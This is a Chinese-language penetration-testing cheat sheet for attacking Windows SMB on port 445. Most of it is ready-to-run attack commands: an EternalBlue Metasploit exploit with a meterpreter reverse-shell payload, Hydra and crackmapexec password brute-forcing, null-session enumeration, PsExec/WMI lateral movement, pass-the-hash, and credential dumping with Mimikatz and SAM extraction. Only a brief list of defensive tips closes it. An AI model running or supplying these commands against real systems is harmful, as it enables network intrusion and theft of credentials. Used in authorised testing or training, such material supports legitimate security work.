445 - SMB 渗透与内网横向

漏洞概述

SMB(Server Message Block)是 Windows 文件共享协议,是内网渗透的核心攻击面。常见漏洞包括永恒之蓝、弱口令、信息泄露等。

影响版本: Windows 所有版本
危害等级: ⭐⭐⭐⭐⭐


信息收集

端口扫描

# Nmap 扫描
nmap -sV -p 445 <TARGET_IP>

# SMB 枚举脚本
nmap --script smb-enum-*,smb-vuln*,smb-brute <TARGET_IP>

共享枚举

# enum4linux 枚举
enum4linux -a <TARGET_IP>

# smbclient 枚举
smbclient -L //<TARGET_IP>/ -N
smbclient -L //<TARGET_IP>/ -U username%password

# crackmapexec 枚举
crackmapexec smb <TARGET_IP> --shares

漏洞利用

方法 1: 永恒之蓝 (MS17-010)

# 检测漏洞
nmap --script smb-vuln-ms17-010 <TARGET_IP>

# Metasploit 利用
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <TARGET_IP>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

方法 2: 弱口令爆破

# crackmapexec 爆破
crackmapexec smb <TARGET_IP> -u username -p password
crackmapexec smb <TARGET_IP> -u users.txt -p passwords.txt

# Hydra 爆破
hydra -l administrator -P rockyou.txt smb://<TARGET_IP>

# Nmap 脚本爆破
nmap --script smb-brute <TARGET_IP>

方法 3: 空会话

# 建立空会话
rpcclient -U "" <TARGET_IP>

# 枚举用户
rpcclient> enumdomusers

# 枚举组
rpcclient> enumdomgroups

方法 4: 共享访问

# 匿名访问共享
smbclient //<TARGET_IP>/share -N

# 认证访问
smbclient //<TARGET_IP>/share -U username%password

# 挂载共享
mount -t cifs //<TARGET_IP>/share /mnt/smb -o username=user,password=pass

内网横向移动

PsExec 远程执行

# crackmapexec
crackmapexec smb <TARGET_IP> -u username -p password -X "whoami"

# impacket-psexec
impacket-psexec username:password@<TARGET_IP>

# PsExec (Windows)
PsExec.exe \\<TARGET_IP> -u username -p password cmd

WMI 执行

# impacket-wmiexec
impacket-wmiexec username:password@<TARGET_IP>

# wmic (Windows)
wmic /node:<TARGET_IP> /user:username /password:password process call create "cmd.exe /c whoami"

哈希传递 (PtH)

# crackmapexec
crackmapexec smb <TARGET_IP> -u username -H <NTLM_HASH>

# impacket-psexec
impacket-psexec -hashes <LM_HASH>:<NTLM_HASH> username@<TARGET_IP>

凭据窃取

Mimikatz

# 提取凭据
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam

转储 SAM 文件

# 复制 SAM 文件
reg save hklm\system system.hiv
reg save hklm\sam sam.hiv

# 使用 secretsdump 提取
impacket-secretsdump -sam sam.hiv -system system.hiv LOCAL

防御建议

  1. 禁用 SMBv1

    Set-SmbServerConfiguration -EnableSMB1Protocol $false
  2. 安装 MS17-010 补丁

  3. 禁用不必要的共享

  4. 启用网络级别身份验证 (NLA)

  5. 限制 SMB 端口访问

    # 防火墙规则
    netsh advfirewall firewall add rule name="Block SMB" dir=in action=block protocol=TCP localport=445

参考链接